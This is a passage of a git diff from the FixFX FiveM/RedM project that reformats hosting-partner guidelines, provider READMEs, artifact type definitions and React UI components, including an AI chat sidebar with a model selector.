### Service Quality + - **Uptime Guarantee**: Minimum 99.5% uptime SLA with documented performance tracking - **Support Response**: Average response time ≤ 4 hours for critical issues - **Infrastructure**: Modern, redundant infrastructure with DDoS protection included - **Scalability**: Ability to grow with customer needs without service disruption ### Customer Support + - **Availability**: 24/7 support via ticket system, chat, or email - **Documentation**: Comprehensive guides and tutorials for common setup tasks - **Community Engagement**: Responsive to community feedback and feature requests - **Professionalism**: Courteous, knowledgeable support representatives ### Fair Pricing & Discounts + - **Discount Code Legitimacy**: Discount codes must provide genuine value (≥ 10% for initial promotion) - **Price Transparency**: Clear pricing without hidden fees - **Billing Honesty**: Renewal rates must not exceed initial promotional rates by more than 20% - **No Bait & Switch**: Performance or resources cannot be degraded after initial purchase ### Technical Standards + - **FiveM/RedM Compatibility**: Full compatibility with FiveM and RedM frameworks - **Resource Access**: Players have access to server files and full customization - **Performance**: Consistent server performance under load (minimal lag/stuttering) - **Updates**: Timely updates to game framework compatibility and security patches ### Code of Conduct + - **No False Claims**: All marketing claims must be truthful and substantiated - **Ethical Practices**: No predatory pricing, aggressive sales tactics, or misleading advertising - **Community Respect**: Respectful engagement with community members @@ -42,16 +47,19 @@ FixFX partners only with hosting providers that meet the highest standards of se ## Partnership Benefits ### Exposure + - Featured placement on FixFX hosting page (viewed by 1000s monthly) - Direct link and discount code promotion to our community - Cross-promotion via FixFX blog and documentation ### Credibility + - Official FixFX Partner badge/designation - Inclusion in trusted providers network - Association with quality-focused community ### Support + - Direct partnership manager contact - Feedback and improvement suggestions - Help with community integration and event sponsorships @@ -59,25 +67,31 @@ FixFX partners only with hosting providers that meet the highest standards of se ## Application & Approval Process ### Step 1: Submission + Submit a PR to the providers directory with your provider information and discount details. ### Step 2: Verification + FixFX team reviews: + - Company legitimacy and history - Infrastructure and service quality - Discount validity and terms - Customer reviews and reputation ### Step 3: Testing + - Create test accounts to verify service delivery - Validate discount code functionality - Test support response times - Verify technical compatibility with FiveM/RedM ### Step 4: Approval + Upon successful verification, your provider becomes an official FixFX partner. ### Step 5: Monitoring + - Quarterly performance checks - Community feedback monitoring - Discount code validation @@ -86,6 +100,7 @@ Upon successful verification, your provider becomes an official FixFX partner. ## Performance Monitoring All partners are monitored regularly for: + - Customer satisfaction scores (target: ≥ 4.5/5) - Support response times - Service uptime and reliability @@ -95,6 +110,7 @@ All partners are monitored regularly for: ## Reporting Issues If you encounter issues with a partner provider: + 1. **Contact the provider directly** to resolve the issue 2. **Document the issue** with dates, times, and specific details 3. **Report to FixFX** via GitHub issues or email if unresolved within 7 days @@ -104,6 +120,7 @@ Providers that consistently violate these guidelines may face suspension or remo ## Termination FixFX reserves the right to terminate partnerships with providers that: + - Fail to maintain required uptime/performance standards - Provide inadequate customer support - Engage in deceptive practices @@ -114,7 +131,8 @@ Partners will receive 30-day notice of termination unless the violation is sever ## Questions? -Have questions about becoming a provider or these guidelines? +Have questions about becoming a provider or these guidelines? + - Open an issue in the [FixFX repository](https://github.com/CodeMeAPixel/FixFX/issues) - Email: hey@codemeapixel.dev - Check the [Comprehensive Provider README](https://github.com/CodeMeAPixel/FixFX/blob/develop/packages/providers/README.md) for detailed technical requirements diff --git a/packages/providers/README.md b/packages/providers/README.md index a4cf330..244d4fb 100644 --- a/packages/providers/README.md +++ b/packages/providers/README.md @@ -7,6 +7,7 @@ This directory contains configurations for FixFX hosting partnerships and truste ## Directory Structure Each hosting provider has its own directory containing `provider.json`: + ``` packages/providers/ ├── zap-hosting/ @@ -22,20 +23,24 @@ packages/providers/ ## Types of Providers ### 1. Affiliate Partners + Hosting providers with whom we have established affiliate relationships and exclusive discount codes. These appear on the `/hosting` page with full partner cards. **Examples:** ZAP-Hosting with 20% discount code **How it works:** + - You receive exclusive discount codes for FixFX users - We link to your affiliate/referral links - Users get tracked discounts automatically - Both parties benefit from the partnership ### 2. Trusted Hosts + Hosting providers officially listed on [fivem.net/server-hosting](https://fivem.net/server-hosting). These are scraped automatically once weekly to maintain currency. No affiliation required. **How it works:** + - Automatically scraped from FiveM's official registry - GitHub Action validates updates weekly - Community can see official FiveM-approved providers @@ -68,6 +73,7 @@ Read the [Provider Guidelines & Code of Conduct](./GUIDELINES.md) and ensure you #### Step 2: Prepare Your Information Gather these details: + - Company name and website - 2-3 sentence description of your hosting service - Exclusive discount offer (percentage and code) @@ -135,6 +141,7 @@ The `provider.json` file format: #### Step 5: Review & Testing Our team will: + 1. Verify compliance with [Provider Guidelines & Code of Conduct](./GUIDELINES.md) 2. Validate your JSON against the schema 3. Test discount codes and affiliate links @@ -146,6 +153,7 @@ Approval typically takes 5-7 business days. #### Step 6: Go Live! Once approved, your provider will automatically appear on the FixFX `/hosting` page and be featured across our documentation. + #### Step 5: PR Description Template Include this information in your PR: @@ -158,42 +166,47 @@ Include this information in your PR: **Contact Email:** [email] ### About Your Company + [2-3 sentences about your hosting company and why you're a good fit for FixFX] ### Offer Details + - **Discount:** [percentage]% off with code `[CODE]` - **Duration:** [how long the discount lasts] - **Affiliate Link:** [your affiliate/referral link] ### Why Partner with FixFX? + [Explain your motivation and what you hope to achieve] ### Community Focus + [How will this partnership benefit the FiveM/RedM community?] ``` ### Field Reference -| Field | Required | Type | Constraints | Example | -|-------|----------|------|-------------|---------| -| `id` | ✅ | string | Kebab-case, unique | `zap-hosting` | -| `name` | ✅ | string | 1-100 chars | `ZAP-Hosting` | -| `website` | ❌ | string | Valid URL | `https://zap-hosting.com` | -| `description` | ✅ | string | 1-300 chars | `Premium game server hosting...` | -| `discount.percentage` | ✅ | number | 1-100 | `20` | -| `discount.code` | ✅ | string | 3-50 chars | `FIXFX-a-8909` | -| `discount.duration` | ✅ | string | 1-50 chars | `Lifetime` | -| `links` | ✅ | array | 1-10 items | `[{...}]` | -| `links[].label` | ✅ | string | 1-50 chars | `FiveM Servers` | -| `links[].url` | ✅ | string | Valid URL | `https://zap-hosting.com/...` | -| `links[].description` | ✅ | string | 1-150 chars | `High-performance servers` | -| `features` | ✅ | array | 3-8 strings | `["DDoS", "Backup"]` | -| `highlight` | ❌ | string | 1-30 chars | `Best Value` | -| `priority` | ❌ | number | 0-100 | `10` | +| Field | Required | Type | Constraints | Example | +| --------------------- | -------- | ------ | ------------------ | -------------------------------- | +| `id` | ✅ | string | Kebab-case, unique | `zap-hosting` | +| `name` | ✅ | string | 1-100 chars | `ZAP-Hosting` | +| `website` | ❌ | string | Valid URL | `https://zap-hosting.com` | +| `description` | ✅ | string | 1-300 chars | `Premium game server hosting...` | +| `discount.percentage` | ✅ | number | 1-100 | `20` | +| `discount.code` | ✅ | string | 3-50 chars | `FIXFX-a-8909` | +| `discount.duration` | ✅ | string | 1-50 chars | `Lifetime` | +| `links` | ✅ | array | 1-10 items | `[{...}]` | +| `links[].label` | ✅ | string | 1-50 chars | `FiveM Servers` | +| `links[].url` | ✅ | string | Valid URL | `https://zap-hosting.com/...` | +| `links[].description` | ✅ | string | 1-150 chars | `High-performance servers` | +| `features` | ✅ | array | 3-8 strings | `["DDoS", "Backup"]` | +| `highlight` | ❌ | string | 1-30 chars | `Best Value` | +| `priority` | ❌ | number | 0-100 | `10` | ### Validation & Review **Automatic Checks:** + - Schema validation (JSON structure) - ID uniqueness (no duplicates) - URL accessibility @@ -201,6 +214,7 @@ Include this information in your PR: - Field length constraints **Manual Review (within 3-5 business days):** + 1. Partnership alignment with community values 2. Provider reputation and reliability research 3. Affiliate link verification @@ -209,11 +223,13 @@ Include this information in your PR: ### Questions & Support **Need help?** + - 📖 Review the [JSON Schema](./schema.json) for technical specs - 💬 Ask on our [Discord](https://discord.gg/cYauqJfnNK) - 🐛 [Open an issue](https://github.com/CodeMeAPixel/FixFX/issues) for technical problems **Partnership inquiries:** + - Email: partnerships@fixfx.dev (when available) - Or reach out via Discord diff --git a/packages/providers/TRUSTED_HOSTS_README.md b/packages/providers/TRUSTED_HOSTS_README.md index eb0c55c..72ec7ed 100644 --- a/packages/providers/TRUSTED_HOSTS_README.md +++ b/packages/providers/TRUSTED_HOSTS_README.md @@ -24,6 +24,7 @@ The system automatically updates the trusted hosts list every Monday at 00:00 UT ### Manual Triggers You can manually trigger the update workflow: + - Navigate to **Actions** → **Update Trusted Hosting Providers** → **Run workflow** ### Data Structure @@ -53,7 +54,7 @@ Each trusted host entry contains: ### Get all trusted hosts ```typescript -import { getTrustedHosts } from '@/lib/trusted-hosts'; +import { getTrustedHosts } from "@/lib/trusted-hosts"; const hosts = await getTrustedHosts(); // Returns sorted array: verified hosts first, then by name @@ -62,7 +63,7 @@ const hosts = await getTrustedHosts(); ### Get trusted host metadata ```typescript -import { getTrustedHostsMetadata } from '@/lib/trusted-hosts'; +import { getTrustedHostsMetadata } from "@/lib/trusted-hosts"; const metadata = await getTrustedHostsMetadata(); // Returns: { lastUpdated, source } @@ -71,17 +72,17 @@ const metadata = await getTrustedHostsMetadata(); ### Get a specific host ```typescript -import { getTrustedHostById } from '@/lib/trusted-hosts'; +import { getTrustedHostById } from "@/lib/trusted-hosts"; -const zapHosting = await getTrustedHostById('zap-hosting'); +const zapHosting = await getTrustedHostById("zap-hosting"); ``` ### Check if a provider is trusted ```typescript -import { isTrustedProvider } from '@/lib/trusted-hosts'; +import { isTrustedProvider } from "@/lib/trusted-hosts"; -const isTrusted = await isTrustedProvider('https://zap-hosting.com'); +const isTrusted = await isTrustedProvider("https://zap-hosting.com"); ``` ## Validation @@ -117,11 +118,13 @@ When a provider is removed from the FiveM registry: ### Scraper not finding providers The scraper uses multiple strategies: + 1. HTML parsing to find provider links 2. Fallback to known provider list 3. Validation against provider websites If a provider is missing: + - Check if it still exists on [fivem.net/server-hosting](https://fivem.net/server-hosting) - Run the update workflow manually - Manually add the provider to `trusted-hosts.json` @@ -129,11 +132,13 @@ If a provider is missing: ### Validation errors Run the validator to check for issues: + ```bash node .github/scripts/validate-trusted-hosts.js ``` Common issues: + - Duplicate IDs (each provider must have unique ID) - Invalid URL format (must be valid http/https URL) - ID format (must match `/^[a-z0-9-]+$/`) @@ -141,6 +146,7 @@ Common issues: ## Future Enhancements Planned improvements: + - [ ] Provider rating/review system - [ ] Regional availability tracking - [ ] Feature matrix (DDoS protection, auto-backup, etc.) diff --git a/packages/providers/trusted-hosts.json b/packages/providers/trusted-hosts.json index 091e1b5..e14f221 100644 --- a/packages/providers/trusted-hosts.json +++ b/packages/providers/trusted-hosts.json @@ -51,4 +51,4 @@ "lastVerified": "2026-01-27T01:48:05.931Z" } ] -} \ No newline at end of file +} diff --git a/packages/types/artifacts.ts b/packages/types/artifacts.ts index 9dfcb3a..608d03f 100644 --- a/packages/types/artifacts.ts +++ b/packages/types/artifacts.ts @@ -3,120 +3,132 @@ */ export interface ArtifactDownloadUrls { - zip: string; - '7z': string; + zip: string; + "7z": string; } export interface ArtifactDetails { - version: string; - recommended: boolean; - critical: boolean; - download_urls: ArtifactDownloadUrls; - changelog_url: string; - published_at: string; - eol: boolean; - supportStatus: 'recommended' | 'latest' | 'active' | 'deprecated' | 'eol' | 'unknown'; - supportEnds: string; + version: string; + recommended: boolean; + critical: boolean; + download_urls: ArtifactDownloadUrls; + changelog_url: string; + published_at: string; + eol: boolean; + supportStatus: + | "recommended" + | "latest" + | "active" + | "deprecated" + | "eol" + | "unknown"; + supportEnds: string; } -export type SupportStatus = 'recommended' | 'latest' | 'active' | 'deprecated' | 'eol' | 'unknown'; +export type SupportStatus = + | "recommended" + | "latest" + | "active" + | "deprecated" + | "eol" + | "unknown"; export interface ArtifactResponse { - windows: Record; - linux: Record; + windows: Record; + linux: Record; } export interface ArtifactStats { - total: number; - recommended: number; - latest: number; - active: number; - deprecated: number; - eol: number; + total: number; + recommended: number; + latest: number; + active: number; + deprecated: number; + eol: number; } export interface ArtifactMetadata { - platforms: string[]; - recommended: Record; - latest: Record; - stats: Record; - pagination: { - limit: number; - offset: number; - total: number; - }; - filters: { - search?: string; - platform?: string; - supportStatus?: string; - includeEol: boolean; - beforeDate?: string; - afterDate?: string; - sortBy: string; - sortOrder: string; - }; - supportSchedule: { - recommended: string; - latest: string; - eol: string; - }; - supportStatusExplanation: { - recommended: string; - latest: string; - active: string; - deprecated: string; - eol: string; - }; + platforms: string[]; + recommended: Record; + latest: Record; + stats: Record; + pagination: { + limit: number; + offset: number; + total: number; + }; + filters: { + search?: string; + platform?: string; + supportStatus?: string; + includeEol: boolean; + beforeDate?: string; + afterDate?: string; + sortBy: string; + sortOrder: string; + }; + supportSchedule: { + recommended: string; + latest: string; + eol: string; + }; + supportStatusExplanation: { + recommended: string; + latest: string; + active: string; + deprecated: string; + eol: string; + }; } export interface ArtifactsAPIResponse { - data: ArtifactResponse; - metadata: ArtifactMetadata; + data: ArtifactResponse; + metadata: ArtifactMetadata; } /** * Query parameters for the artifacts API */ export interface ArtifactQueryParams { - platform?: 'windows' | 'linux'; - product?: 'fivem' | 'redm'; - version?: string; - search?: string; - limit?: number; - offset?: number; - includeEol?: boolean; - sortBy?: 'version' | 'date'; - sortOrder?: 'asc' | 'desc'; - status?: SupportStatus; - before?: string; // Date in ISO format - after?: string; // Date in ISO format + platform?: "windows" | "linux"; + product?: "fivem" | "redm"; + version?: string; + search?: string; + limit?: number; + offset?: number; + includeEol?: boolean; + sortBy?: "version" | "date"; + sortOrder?: "asc" | "desc"; + status?: SupportStatus; + before?: string; // Date in ISO format + after?: string; // Date in ISO format } /** * Helper functions */ export const getSupportStatusColor = (status: SupportStatus): string => { - switch (status) { - case 'recommended': - return '#34A853'; // Green - case 'latest': - return '#5865F2'; // Blue - case 'active': - return '#4285F4'; // Light blue - case 'deprecated': - return '#FBBC05'; // Yellow/Amber - case 'eol': - return '#EA4335'; // Red - default: - return '#9AA0A6'; // Grey - } + switch (status) { + case "recommended": + return "#34A853"; // Green + case "latest": + return "#5865F2"; // Blue + case "active": + return "#4285F4"; // Light blue + case "deprecated": + return "#FBBC05"; // Yellow/Amber + case "eol": + return "#EA4335"; // Red + default: + return "#9AA0A6"; // Grey + } }; export const formatDate = (dateString: string): string => { - const date = new Date(dateString); - return date.toLocaleDateString('en-US', { - year: 'numeric', - month: 'short', - day: 'numeric' - }); + const date = new Date(dateString); + return date.toLocaleDateString("en-US", { + year: "numeric", + month: "short", + day: "numeric", + }); }; diff --git a/packages/ui/src/components/accordion.tsx b/packages/ui/src/components/accordion.tsx index ab69809..163874d 100644 --- a/packages/ui/src/components/accordion.tsx +++ b/packages/ui/src/components/accordion.tsx @@ -28,7 +28,7 @@ const AccordionTrigger = React.forwardRef< ref={ref} className={cn( "flex flex-1 items-center justify-between py-4 font-medium transition-all hover:underline [&[data-state=open]>svg]:rotate-180", - className + className, )} {...props} > diff --git a/packages/ui/src/components/alert.tsx b/packages/ui/src/components/alert.tsx index b836c06..a49405c 100644 --- a/packages/ui/src/components/alert.tsx +++ b/packages/ui/src/components/alert.tsx @@ -10,11 +10,11 @@ const Alert = React.forwardRef( role="alert" className={cn( "relative w-full rounded-lg border p-4 [&>svg]:absolute [&>svg]:text-foreground [&>svg]:left-4 [&>svg]:top-4 [&>svg+div]:translate-y-[-3px] [&:has(svg)]:pl-11", - className + className, )} {...props} /> - ) + ), ); Alert.displayName = "Alert"; diff --git a/packages/ui/src/components/badge.tsx b/packages/ui/src/components/badge.tsx index c900a33..75405b2 100644 --- a/packages/ui/src/components/badge.tsx +++ b/packages/ui/src/components/badge.tsx @@ -1,6 +1,6 @@ -import * as React from "react" -import { cva, type VariantProps } from "class-variance-authority" -import { cn } from "@utils/functions/cn" +import * as React from "react"; +import { cva, type VariantProps } from "class-variance-authority"; +import { cn } from "@utils/functions/cn"; const badgeVariants = cva( "inline-flex items-center gap-1 rounded-full border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 select-none animate-in fade-in-50 duration-300", @@ -18,12 +18,10 @@ const badgeVariants = cva( "border-transparent bg-green-500 text-white hover:bg-green-500/80", warning: "border-transparent bg-yellow-500 text-white hover:bg-yellow-500/80", - info: - "border-transparent bg-blue-500 text-white hover:bg-blue-500/80", + info: "border-transparent bg-blue-500 text-white hover:bg-blue-500/80", ghost: "bg-background/30 backdrop-blur-sm text-foreground hover:bg-background/50 border-background/10", - cfx: - "border-transparent bg-[#5865F2] text-white hover:bg-[#5865F2]/80", + cfx: "border-transparent bg-[#5865F2] text-white hover:bg-[#5865F2]/80", }, size: { default: "px-2.5 py-0.5 text-xs", @@ -41,7 +39,7 @@ const badgeVariants = cva( shape: { pill: "rounded-full", square: "rounded-md", - } + }, }, defaultVariants: { variant: "default", @@ -50,12 +48,13 @@ const badgeVariants = cva( interactive: "default", shape: "pill", }, - } -) + }, +); export interface BadgeProps - extends React.HTMLAttributes, - VariantProps { + extends + React.HTMLAttributes, + VariantProps { icon?: React.ReactNode; clickable?: boolean; asChild?: boolean; @@ -97,7 +96,7 @@ function Badge({ // Improved layout logic const hasContent = Boolean(props.children); const iconOnly = icon && !hasContent; - const enhancedSize = iconOnly && size === 'default' ? 'sm' : size; + const enhancedSize = iconOnly && size === "default" ? "sm" : size; const Comp = asChild ? React.Fragment : "div"; @@ -109,11 +108,11 @@ function Badge({ size: enhancedSize, glow, interactive: enhancedInteractive, - shape + shape, }), iconOnly && "aspect-square justify-center p-0", // Make icon-only badges square hasContent && "px-3", // More horizontal padding for badges with content - className + className, )} style={badgeStyle as React.CSSProperties} role={clickable ? "button" : undefined} @@ -123,7 +122,7 @@ function Badge({ {icon && {icon}} {asChild ? props.children : hasContent && {props.children}} - ) + ); } -export { Badge, badgeVariants } \ No newline at end of file +export { Badge, badgeVariants }; diff --git a/packages/ui/src/components/card.tsx b/packages/ui/src/components/card.tsx index 5e451dc..004875f 100644 --- a/packages/ui/src/components/card.tsx +++ b/packages/ui/src/components/card.tsx @@ -18,8 +18,9 @@ const Card = React.forwardRef< border === "accent" && "border border-fd-primary/20", border === "destructive" && "border border-fd-destructive/20", border === "none" && "border-0", - hover && "hover:shadow-lg hover:shadow-black/5 dark:hover:shadow-black/20 hover:border-fd-border/80", - className + hover && + "hover:shadow-lg hover:shadow-black/5 dark:hover:shadow-black/20 hover:border-fd-border/80", + className, )} {...props} /> @@ -46,7 +47,7 @@ const CardTitle = React.forwardRef< ref={ref} className={cn( "text-xl font-semibold leading-none tracking-tight text-fd-foreground", - className + className, )} {...props} /> @@ -85,4 +86,11 @@ const CardFooter = React.forwardRef< )); CardFooter.displayName = "CardFooter"; -export { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent }; \ No newline at end of file +export { + Card, + CardHeader, + CardFooter, + CardTitle, + CardDescription, + CardContent, +}; diff --git a/packages/ui/src/components/chat-sidebar.tsx b/packages/ui/src/components/chat-sidebar.tsx index b8d4f38..3df0860 100644 --- a/packages/ui/src/components/chat-sidebar.tsx +++ b/packages/ui/src/components/chat-sidebar.tsx @@ -1,600 +1,692 @@ -"use client" - -import * as React from "react" -import { cn } from "@utils/functions/cn" -import { NAV_LINKS, DISCORD_LINK, GITHUB_LINK } from "@utils/constants" -import { Button } from "./button" -import { ScrollArea } from "./scroll-area" -import { Home, MessageSquare, Settings, History, ChevronLeft, ChevronRight, Code, ChevronUp, ChevronDown, Plus, Zap, Bot, Github, MessagesSquare, Sparkles } from "lucide-react" -import Link from "next/link" -import { usePathname } from "next/navigation" -import { useState, useEffect, useRef } from "react" -import { Label } from "./label" -import { Slider } from "./slider" -import { ModelCard } from "./model-card" -import { Tabs, TabsList, TabsTrigger } from "./tabs" -import { FixFXIcon } from "../icons" -import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from "./tooltip" -import { FaDiscord } from "react-icons/fa" -import { motion, AnimatePresence } from "motion/react" +"use client"; + +import * as React from "react"; +import { cn } from "@utils/functions/cn"; +import { NAV_LINKS, DISCORD_LINK, GITHUB_LINK } from "@utils/constants"; +import { Button } from "./button"; +import { ScrollArea } from "./scroll-area"; +import { + Home, + MessageSquare, + Settings, + History, + ChevronLeft, + ChevronRight, + Code, + ChevronUp, + ChevronDown, + Plus, + Zap, + Bot, + Github, + MessagesSquare, + Sparkles, +} from "lucide-react"; +import Link from "next/link"; +import { usePathname } from "next/navigation"; +import { useState, useEffect, useRef } from "react"; +import { Label } from "./label"; +import { Slider } from "./slider"; +import { ModelCard } from "./model-card"; +import { Tabs, TabsList, TabsTrigger } from "./tabs"; +import { FixFXIcon } from "../icons"; +import { + Tooltip, + TooltipContent, + TooltipProvider, + TooltipTrigger, +} from "./tooltip"; +import { FaDiscord } from "react-icons/fa"; +import { motion, AnimatePresence } from "motion/react"; interface SavedChat { - id: string; - title: string; - messages: any[]; - model: string; - temperature: number; - timestamp: number; - preview: string; + id: string; + title: string; + messages: any[]; + model: string; + temperature: number; + timestamp: number; + preview: string; } interface ChatSidebarProps { - model: string; - temperature: number; - onModelChange: (model: string) => void; - onTemperatureChange: (temperature: number) => void; - onLoadChat: (chat: SavedChat) => void; - onNewChat?: () => void; + model: string; + temperature: number; + onModelChange: (model: string) => void; + onTemperatureChange: (temperature: number) => void; + onLoadChat: (chat: SavedChat) => void; + onNewChat?: () => void; } export function ChatSidebar({ - model, - temperature, - onModelChange, - onTemperatureChange, - onLoadChat, - onNewChat + model, + temperature, + onModelChange, + onTemperatureChange, + onLoadChat, + onNewChat, }: ChatSidebarProps) { - const pathname = usePathname() - const [isCollapsed, setIsCollapsed] = useState(false) - const [activeTab, setActiveTab] = useState<'navigation' | 'chats' | 'settings'>('navigation'); - const [recentChats, setRecentChats] = useState([]) - const [activeChat, setActiveChat] = useState(null) - - const modelInfo = React.useMemo(() => ({ - "gpt-4o": { - name: "GPT-4o", - description: "Most capable model for complex tasks.", - icon: , - color: "#10B981", - provider: "OpenAI", - disabled: false, - isNew: true - }, - "gpt-4o-mini": { - name: "GPT-4o Mini", - description: "Balanced performance for general questions.", - icon: , - color: "#5865F2", - provider: "OpenAI", - disabled: false - }, - "gpt-4-turbo": { - name: "GPT-4 Turbo", - description: "Fast and powerful for demanding tasks.", - icon: , - color: "#8B5CF6", - provider: "OpenAI", - disabled: false, - isNew: true - }, - "gpt-3.5-turbo": { - name: "GPT-3.5 Turbo", - description: "Fast responses for simple queries.", - icon: , - color: "#6366F1", - provider: "OpenAI", - disabled: false, - isNew: true - }, - "gemini-1.5-flash": { - name: "Gemini 1.5 Flash", - description: "Fast responses with good accuracy.", - icon: , - color: "#34A853", - provider: "Google", - disabled: true - }, - "claude-3-haiku": { - name: "Claude 3 Haiku", - description: "Creative with nuanced understanding.", - icon: , - color: "#FF6B6C", - provider: "Anthropic", - disabled: true - } - }), []); - - useEffect(() => { - const updateActiveChat = () => { - const currentChatId = localStorage.getItem('fixfx-current-chat'); - if (currentChatId !== activeChat) { - setActiveChat(currentChatId); - } - }; - + const pathname = usePathname(); + const [isCollapsed, setIsCollapsed] = useState(false); + const [activeTab, setActiveTab] = useState< + "navigation" | "chats" | "settings" + >("navigation"); + const [recentChats, setRecentChats] = useState([]); + const [activeChat, setActiveChat] = useState(null); + + const modelInfo = React.useMemo( + () => ({ + "gpt-4o": { + name: "GPT-4o", + description: "Most capable model for complex tasks.", + icon: , + color: "#10B981", + provider: "OpenAI", + disabled: false, + isNew: true, + }, + "gpt-4o-mini": { + name: "GPT-4o Mini", + description: "Balanced performance for general questions.", + icon: , + color: "#5865F2", + provider: "OpenAI", + disabled: false, + }, + "gpt-4-turbo": { + name: "GPT-4 Turbo", + description: "Fast and powerful for demanding tasks.", + icon: , + color: "#8B5CF6", + provider: "OpenAI", + disabled: false, + isNew: true, + }, + "gpt-3.5-turbo": { + name: "GPT-3.5 Turbo", + description: "Fast responses for simple queries.", + icon: , + color: "#6366F1", + provider: "OpenAI", + disabled: false, + isNew: true, + }, + "gemini-1.5-flash": { + name: "Gemini 1.5 Flash", + description: "Fast responses with good accuracy.", + icon: , + color: "#34A853", + provider: "Google", + disabled: true, + }, + "claude-3-haiku": { + name: "Claude 3 Haiku", + description: "Creative with nuanced understanding.", + icon: , + color: "#FF6B6C", + provider: "Anthropic", + disabled: true, + }, + }), + [], + ); + + useEffect(() => { + const updateActiveChat = () => { + const currentChatId = localStorage.getItem("fixfx-current-chat"); + if (currentChatId !== activeChat) { + setActiveChat(currentChatId); + } + }; + + updateActiveChat(); + + const handleStorageChange = (event: StorageEvent) => { + if (event.key === "fixfx-current-chat") { updateActiveChat(); + } + }; + + const handleActiveChatChanged = () => { + setTimeout(updateActiveChat, 50); + }; + + window.addEventListener("storage", handleStorageChange); + window.addEventListener("activeChatChanged", handleActiveChatChanged); + + return () => { + window.removeEventListener("storage", handleStorageChange); + window.removeEventListener("activeChatChanged", handleActiveChatChanged); + }; + }, []); + + const prevChatsRef = useRef(""); + + useEffect(() => { + const loadChats = () => { + const savedChatsStr = localStorage.getItem("fixfx-chats"); + if (!savedChatsStr) return; + if (savedChatsStr === prevChatsRef.current) return; + + try { + const savedChats: SavedChat[] = JSON.parse(savedChatsStr); + setRecentChats(savedChats); + prevChatsRef.current = savedChatsStr; + } catch (error) { + console.error("Error loading saved chats:", error); + } + }; + + loadChats(); + + const handleChatsUpdated = () => { + setTimeout(loadChats, 50); + }; + + window.addEventListener("chatsUpdated", handleChatsUpdated); + return () => window.removeEventListener("chatsUpdated", handleChatsUpdated); + }, []); + + const handleChatClick = React.useCallback( + (chat: SavedChat) => { + localStorage.setItem("fixfx-current-chat", chat.id); + setActiveChat(chat.id); + onLoadChat(chat); + }, + [onLoadChat], + ); + + return ( +
+ + {/* Header */} +
+ + {!isCollapsed ? ( + + setActiveTab(value as any)} + className="w-full" + > + + + Navigation + + + Chats + + + Settings + + + + + ) : ( + + + + + + )} + + +
- const handleStorageChange = (event: StorageEvent) => { - if (event.key === 'fixfx-current-chat') { - updateActiveChat(); - } - }; - - const handleActiveChatChanged = () => { - setTimeout(updateActiveChat, 50); - }; - - window.addEventListener('storage', handleStorageChange); - window.addEventListener('activeChatChanged', handleActiveChatChanged); - - return () => { - window.removeEventListener('storage', handleStorageChange); - window.removeEventListener('activeChatChanged', handleActiveChatChanged); - }; - }, []); - - const prevChatsRef = useRef(''); - - useEffect(() => { - const loadChats = () => { - const savedChatsStr = localStorage.getItem('fixfx-chats'); - if (!savedChatsStr) return; - if (savedChatsStr === prevChatsRef.current) return; - - try { - const savedChats: SavedChat[] = JSON.parse(savedChatsStr); - setRecentChats(savedChats); - prevChatsRef.current = savedChatsStr; - } catch (error) { - console.error('Error loading saved chats:', error); - } - }; - - loadChats(); - - const handleChatsUpdated = () => { - setTimeout(loadChats, 50); - }; - - window.addEventListener('chatsUpdated', handleChatsUpdated); - return () => window.removeEventListener('chatsUpdated', handleChatsUpdated); - }, []); - - const handleChatClick = React.useCallback((chat: SavedChat) => { - localStorage.setItem('fixfx-current-chat', chat.id); - setActiveChat(chat.id); - onLoadChat(chat); - }, [onLoadChat]); - - return ( -
- - {/* Header */} -
- - {!isCollapsed ? ( - + {!isCollapsed ? ( +
+ {/* Navigation Tab Content */} + {activeTab === "navigation" && ( + + {NAV_LINKS.map((item, index) => { + const Icon = item.icon; + return ( + + + + ); + })} + + )} + + {/* Chats Tab Content */} + {activeTab === "chats" && ( + + {onNewChat && ( -
- - {/* Main Content */} - - {!isCollapsed ? ( -
- {/* Navigation Tab Content */} - {activeTab === 'navigation' && ( - - {NAV_LINKS.map((item, index) => { - const Icon = item.icon; - return ( - - - - ); - })} - - )} - - {/* Chats Tab Content */} - {activeTab === 'chats' && ( - - {onNewChat && ( - - )} - -
-

Recent Conversations

-
- {recentChats.length > 0 ? ( - recentChats.map((chat, index) => { - const isActive = activeChat === chat.id; - return ( - - - - ); - }) - ) : ( -
- -

No recent chats

-
- )} -
-
-
- )} - - {/* Settings Tab Content */} - {activeTab === 'settings' && ( - -
-
- - -
-

Choose the AI model that best fits your needs.

- - {/* OpenAI Models */} -
- OpenAI - } - color="#10B981" - isSelected={model === "gpt-4o"} - onClick={() => onModelChange("gpt-4o")} - isNew - /> - } - color="#5865F2" - isSelected={model === "gpt-4o-mini"} - onClick={() => onModelChange("gpt-4o-mini")} - /> - } - color="#8B5CF6" - isSelected={model === "gpt-4-turbo"} - onClick={() => onModelChange("gpt-4-turbo")} - isNew - /> - } - color="#6366F1" - isSelected={model === "gpt-3.5-turbo"} - onClick={() => onModelChange("gpt-3.5-turbo")} - isNew - /> -
- - {/* Coming Soon Models */} -
- Coming Soon - } - color="#34A853" - isSelected={model === "gemini-1.5-flash"} - onClick={() => onModelChange("gemini-1.5-flash")} - disabled - /> - } - color="#FF6B6C" - isSelected={model === "claude-3-haiku"} - onClick={() => onModelChange("claude-3-haiku")} - disabled - /> -
-
- -
-
- - - {temperature.toFixed(1)} - -
-
-
- Precise - Creative -
- onTemperatureChange(value)} - /> -
-

- {temperature < 0.4 - ? "Lower values generate more focused, deterministic responses." - : temperature > 0.7 - ? "Higher values generate more creative, varied responses." - : "Balanced between deterministic and creative responses."} -

-
- - {/* Privacy note section */} -
-

Privacy Info

-
-

Chat history is stored only in your browser's local storage.

-

Clear browser storage to remove your chat history.

-
-
-
- )} -
- ) : ( - // Collapsed sidebar with just icons -
- - - {NAV_LINKS.map((item) => { - if (item.href === "/ask") return null; // Skip the chat link as we already added it - - const Icon = item.icon; - return ( - - ); - })} - -
- - {onNewChat && ( - - )} + {chat.title} + + + + ); + }) + ) : ( +
+ +

+ No recent chats +

+ )} +
+
+
+ )} + + {/* Settings Tab Content */} + {activeTab === "settings" && ( + +
+
+ + +
+

+ Choose the AI model that best fits your needs. +

+ + {/* OpenAI Models */} +
